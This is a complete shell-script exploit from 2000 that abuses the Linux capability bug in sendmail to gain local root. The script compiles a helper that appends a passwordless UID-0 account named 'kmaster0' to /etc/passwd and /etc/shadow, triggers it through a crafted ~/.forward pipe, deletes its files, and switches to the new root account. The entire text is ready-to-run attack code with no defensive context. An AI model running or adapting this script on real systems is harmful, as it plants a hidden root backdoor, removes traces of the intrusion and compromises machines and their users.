#!/bin/sh
echo Exploit for capability bug using sendmail
echo 8 june 2000 - Christophe GRENIER
echo grenier@nef.esiea.fr
echo http://www.esiea.fr/public_html/Christophe.GRENIER
echo
export BINDIR=$HOME
cat > add.c <<EOF
#include <fcntl.h>
#include <unistd.h>

int main (void)
{
  int fd;
  char string[40];
  seteuid(0);
  chmod("/etc/passwd",0644);
  fd = open("/etc/passwd", O_APPEND|O_WRONLY);
  if(fd>0)
  {
    strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
    write(fd, string, strlen(string));
    close(fd);
  }
  chmod("/etc/shadow",0600);
  fd = open("/etc/shadow", O_APPEND|O_WRONLY);
  if(fd>0)
  {
    strcpy(string, "kmaster0::11029:0:99999:7:::");
    write(fd, string, strlen(string));
    fchmod(fd,0400);
    close(fd);
  }
  return 0;
}
EOF
cat > ex.c <<EOF
#include <stdlib.h>
#include <unistd.h>
#include <linux/capability.h>

int main (void)
{
  cap_user_header_t header;
  cap_user_data_t data;
  header = malloc(8);
  data = malloc(12);
  header->pid = 0;
  header->version = _LINUX_CAPABILITY_VERSION;
  data->inheritable = data->effective = data->permitted = 0;
  capset(header, data);
  execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
  return 0;
}
EOF
gcc -o $BINDIR/add add.c
gcc -o ex ex.c
chmod 755 $BINDIR/add
chmod 711 $BINDIR
cat > mail.msg << EOF
From: $USER
To: $USER
Subject: exploit
pipo
EOF
echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
chmod 600 ~/.forward
./ex < mail.msg
echo Waiting a little bit...
sleep 3
echo Cleaning
rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
su - kmaster0
#                    www.hack.co.za           [12 June 2000]#